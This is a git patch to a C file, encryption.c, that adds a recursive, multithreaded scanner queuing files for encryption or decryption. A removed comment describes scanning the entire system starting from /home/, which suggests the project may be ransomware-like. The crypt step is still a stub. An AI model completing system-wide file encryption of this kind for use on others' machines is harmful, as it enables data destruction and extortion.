From e814f6bcc2c66b249348f80c1307b98778fd7ae9 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Tue, 30 Dec 2025 19:58:23 -0600 Subject: Make recursive folder scan work --- src/encryption.c | 107 +++++++++++++++++++------------------------------------ 1 file changed, 37 insertions(+), 70 deletions(-) diff --git a/src/encryption.c b/src/encryption.c index 5e667c6..322a2cd 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -393,48 +393,20 @@ int genpassword(char **str, unsigned int words) { return words; } -// TODO: Rewrite this to use the threadpool. Each newly scanned file should be pushed onto the threadpool as an encryption task -// #include - -// dlinkedlist * scandirlist(const char * const dir, int (*selector)(const struct dirent *), int (*cmp)(const struct dirent **, const struct dirent **)) { -// if(!dir || selector == NULL || cmp == NULL) ERRRET(EINVAL, NULL); - -// struct dirent **namelist = NULL; -// dlinkedlist *list = NULL; -// int numentries = -1; - -// if((numentries = scandir(dir, &namelist, selector, cmp)) < 0) -// ERRRET(errno, NULL); - -// list = dlinkedlist_init(); -// for(int i = 0; i < numentries; i++) -// if(dlinkedlist_append(list, (void *)(namelist[i]), free) < 0) { -// dlinkedlist_free(list); -// for(int j = i; j < numentries; j++) -// free(namelist[j]); - -// free(namelist); -// ERRRET(errno, NULL); -// } -// free(namelist); - -// return list; -// } - -// Above implementation is flawed and would not actually scan the entire system. The process must be recursive: - // Step 1 - Create directory list - // Step 2 - Create --cryption ctq - // Step 3 - Scan initial starting dir. This will be /home/ - // Step 4 - Iterate over scan results - // Step 4.1 - For all directory dirent objects, add them to the directory list - // Step 4.2 - For all file dirent objects, add them to the --cryption ctq - // Step 5 - Scan next entry in the dirlist, removing it once done. Repeat Step 4 - // Step 6 - Free dirlist once empty, return newly populated --cryption ctq +enum CRYPTSCAN_CRYPTMODE { + CRYPTSCAN_CRYPTMODE__UNSPEC, + CRYPTSCAN_CRYPTMODE__ENCRYPT, + CRYPTSCAN_CRYPTMODE__DECRYPT, + CRYPTSCAN_CRYPTMODE__TOOBIG +}; -// Idea: Create 2 ctqs. Use one for the actual scanning, and the other as the return result. That way, not only will scanning be -// fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything -// linearly +struct _cryptscan_args { + char *folder; + taskqueue *toscan; + ctqueue *tocrypt; + enum CRYPTSCAN_CRYPTMODE mode; +}; /// Directory entries (files and folders) to exclude from encryption #define EXCLUDED_ENTRIES ((const char* const []){\ @@ -458,12 +430,6 @@ static int _cryptscan__selector(const struct dirent *de) { return 1; } -struct _cryptscan_args { - char *folder; - taskqueue *toscan; - ctqueue *tocrypt; -}; - void _cryptscan_args_free(void *data) { if(!data) return; struct _cryptscan_args *real = data; @@ -473,29 +439,12 @@ void _cryptscan_args_free(void *data) { return; } -// TODO: Implement -int _cryptscan__crypt(void *data) { - if(!data) return -1; - struct _cryptscan_args *real = data; - - // Do things - - return 0; -} - -// TODO: Implement -int _cryptscan__scan(void *data) { - if(!data) return -1; - struct _cryptscan_args *real = data; - - // Do things - - return 0; -} +int _cryptscan__crypt(void *data); +int _cryptscan__scan(void *data); /// helper function to deduplicate code for dealing with scandir. Scans the directory at `folder` and places dirents into their respective lists -int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ctqueue *tocrypt) { - if(!folder || !toscan || !tocrypt) return -1; +int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ctqueue *tocrypt, enum CRYPTSCAN_CRYPTMODE mode) { + if(!folder || !toscan || !tocrypt || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return -1; int res = 0; struct dirent **namelist = NULL; @@ -513,6 +462,7 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct args->folder = strdup(namelist[i]->d_name); args->tocrypt = tocrypt; args->toscan = toscan; + args->mode = mode; if(!args->folder) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;} switch(namelist[i]->d_type) { @@ -581,18 +531,35 @@ _cryptscan__process_scandir_CLEANUP: return res; } +int _cryptscan__scan(void *data) { + if(!data) return -1; + struct _cryptscan_args *real = data; + return _cryptscan__process_scandir(real->folder, real->toscan, real->tocrypt, real->mode); +} + +// TODO: Implement +int _cryptscan__crypt(void *data) { + if(!data) return -1; + struct _cryptscan_args *real = data; + + // Read data for filename & crypt mode to generate tasks + + + return 0; +} + // Going to implement this using a taskqueue. Each folder is added as a task to scan, with each file then added to a ctq for later. Scanning will be done linearly // for my sake, and because I do not care to do generics in C beyond what is absolutely necessary (aka I don't want to implement a hashmap/hashset to make parallel // execution efficient) -ctqueue * cryptscan(int threads, const char * const start) { - if(!start || threads < 1) return NULL; +ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) { + if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL; taskqueue *toscan = taskqueue_new(); ctqueue *tocrypt = ctqueue_init(threads); // Initialize the lists - if(_cryptscan__process_scandir(start, toscan, tocrypt) < 1) goto cryptscan_ERR; + if(_cryptscan__process_scandir(start, toscan, tocrypt, mode) < 1) goto cryptscan_ERR; // Loop through the scanlist until it's empty while(taskqueue_size(toscan) > 0) { -- cgit v1.2.3